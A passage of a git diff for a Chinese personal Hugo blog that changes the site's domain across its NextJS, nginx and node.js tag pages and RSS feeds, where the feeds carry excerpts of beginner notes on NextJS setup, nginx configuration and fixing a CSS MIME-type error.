         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/nextjs/index.xml b/tags/nextjs/index.xml
index 79c1bdfd..c92463a2 100644
--- a/tags/nextjs/index.xml
+++ b/tags/nextjs/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>NextJS on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/nextjs/</link>
+    <link>https://chenjunlinabc.github.io/tags/nextjs/</link>
     <description>Recent content in NextJS on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sat, 07 Aug 2021 23:26:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/nextjs/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sat, 07 Aug 2021 23:26:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/nextjs/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NextJS学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/74/</link>
+      <link>https://chenjunlinabc.github.io/posts/74/</link>
       <pubDate>Sat, 07 Aug 2021 23:26:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/74/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/74/</guid>
       <description>NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能
 服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览
 SPA：
@@ -32,7 +32,7 @@ yarn init
 在scripts下加添加
 &amp;ldquo;dev&amp;rdquo; : &amp;ldquo;next&amp;rdquo;, &amp;ldquo;build&amp;rdquo;: &amp;ldquo;next build&amp;rdquo;, &amp;ldquo;start&amp;rdquo;: &amp;ldquo;next start&amp;rdquo;
 创建个js文件
-function Hallo(){
return(
&amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt;
)
}
export default Hallo
yarn dev调试
+function Hallo(){ return( &amp;lt;div&amp;gt;hallo next.js&amp;lt;/div&amp;gt; ) } export default Hallo yarn dev调试
 如果浏览器输出正确则配置成功
 通过create-next-app脚手架创建项目
 npm install create-next-app -g
@@ -46,7 +46,7 @@ yarn create-next-app demo
 yarn dev
 访问http://localhost:3000/，正常显示网页则配置正常
 编程式跳转
-import Link from &amp;quot;next/link&amp;quot;
&amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt;
Link不支持直接加兄弟标签，起码要有一个父级标签</description>
+import Link from &amp;quot;next/link&amp;quot; &amp;lt;Link href=&amp;quot;/&amp;quot;&amp;gt;&amp;lt;a&amp;gt;返回&amp;lt;/a&amp;gt;&amp;lt;/Link&amp;gt; Link不支持直接加兄弟标签，起码要有一个父级标签</description>
     </item>
     
   </channel>
diff --git a/tags/nextjs/page/1/index.html b/tags/nextjs/page/1/index.html
index 5ebe965c..01383f20 100644
--- a/tags/nextjs/page/1/index.html
+++ b/tags/nextjs/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/nextjs/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/nextjs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/nextjs/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/nextjs/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/nextjs/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/nextjs/"></head></html>
\ No newline at end of file
diff --git a/tags/nginx/index.html b/tags/nginx/index.html
index 1211acc9..c61a2853 100644
--- a/tags/nginx/index.html
+++ b/tags/nginx/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nginx | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/nginx/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/nginx/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nginx"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/nginx/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nginx"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>nginx</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>nginx | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/nginx/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/nginx/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="nginx"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/nginx/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="nginx"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>nginx</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -32,7 +32,7 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Nginx HTTP服务器软件</h2></header><div class=entry-content><p>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
 Nginx和Nginx plus的区别：Nginx开源，免费，Nginx plus闭源，不免费
@@ -66,16 +66,14 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
-worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
-error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://xiaochenabc123.github.io/posts/85/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error....</p></div><footer class=entry-footer><span title='2021-08-18 12:50:00 +0000 UTC'>2021-08-18</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Nginx HTTP服务器软件" href=https://chenjunlinabc.github.io/posts/85/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>记录一次MIME类型错误</h2></header><div class=entry-content><p>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
 当web服务器接收到请求时，会依据请求文件的后缀名在服务器的MIME配置文件中找到对应的mime.types，然后根据mime.types来确定content-type，浏览器根据content-type来处理数据
 解决方法：当然是指定mime.types文件，而宝塔的nginx一般是在/www/server/nginx目录下，而mime.types文件一般在nginx目录下的conf目录下，会看到一个叫mime.types的文件和一个叫mime.types.default的文件
 往nginx配置文件上输入 include /www/server/nginx/conf/mime.types; default_type application/octet-stream;
 第一个行指定mime.types，第二行就是默认类型
-然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://xiaochenabc123.github.io/posts/39/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+然后重启一下nginx服务器，刷新一下网页，看到恢复成content-type: text/css了</p></div><footer class=entry-footer><span title='2021-06-17 08:25:00 +0000 UTC'>2021-06-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 记录一次MIME类型错误" href=https://chenjunlinabc.github.io/posts/39/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/nginx/index.xml b/tags/nginx/index.xml
index c40614cc..7ff41334 100644
--- a/tags/nginx/index.xml
+++ b/tags/nginx/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>nginx on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/nginx/</link>
+    <link>https://chenjunlinabc.github.io/tags/nginx/</link>
     <description>Recent content in nginx on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 18 Aug 2021 12:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/nginx/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 18 Aug 2021 12:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/nginx/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Nginx</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -57,10 +57,10 @@ user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般
     
     <item>
       <title>简单使用Nginx HTTP服务器软件</title>
-      <link>https://xiaochenabc123.github.io/posts/85/</link>
+      <link>https://chenjunlinabc.github.io/posts/85/</link>
       <pubDate>Wed, 18 Aug 2021 12:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/85/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/85/</guid>
       <description>Nginx是目前web服务器占比第一（在https://w3techs.com 中可以看到Nginx占比33.1%）
 Nginx支持静态资源提供服务，支持高并发，热部署，反向代理，缓存，负载均衡等功能，Nginx使用BSD许可证开源（允许修改Nginx源码来重新发布一个商业用途的（例如Tengine））
 Nginx由Nginx二进制可执行文件，Nginx.conf，access.log，error.log组成
@@ -95,15 +95,15 @@ apt install nginx
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户
worker_processes auto; # nginx进程数，一般会设置和CPU核数一致
error_log /www/wwwlogs/nginx_error.</description>
+user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error.</description>
     </item>
     
     <item>
       <title>记录一次MIME类型错误</title>
-      <link>https://xiaochenabc123.github.io/posts/39/</link>
+      <link>https://chenjunlinabc.github.io/posts/39/</link>
       <pubDate>Thu, 17 Jun 2021 08:25:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/39/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/39/</guid>
       <description>打开网页，发现css没有加载出来，f12一看，content-type: text/plain;，把这个css当文本输出了，浏览器请求到这种类型的文件都不会对其进行处理，而且应该是text/css才对
 先了解一下浏览器是如何处理这些数据的，是怎么区分的
 数据通过http传输协议获取到，然后由web服务器的content-type向浏览器进行指示数据的类型，而mime.types就是用来定义数据文件的类型，用什么格式来进行网页编码（charset=utf-8）
diff --git a/tags/nginx/page/1/index.html b/tags/nginx/page/1/index.html
index f03b8bc8..aae82c39 100644
--- a/tags/nginx/page/1/index.html
+++ b/tags/nginx/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/nginx/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/nginx/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/nginx/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/nginx/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/nginx/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/nginx/"></head></html>
\ No newline at end of file
diff --git a/tags/node.js/index.html b/tags/node.js/index.html
index 17c60b52..56ab0d0d 100644
--- a/tags/node.js/index.html
+++ b/tags/node.js/index.html
@@ -1,32 +1,24 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>node.js | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/node.js/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml 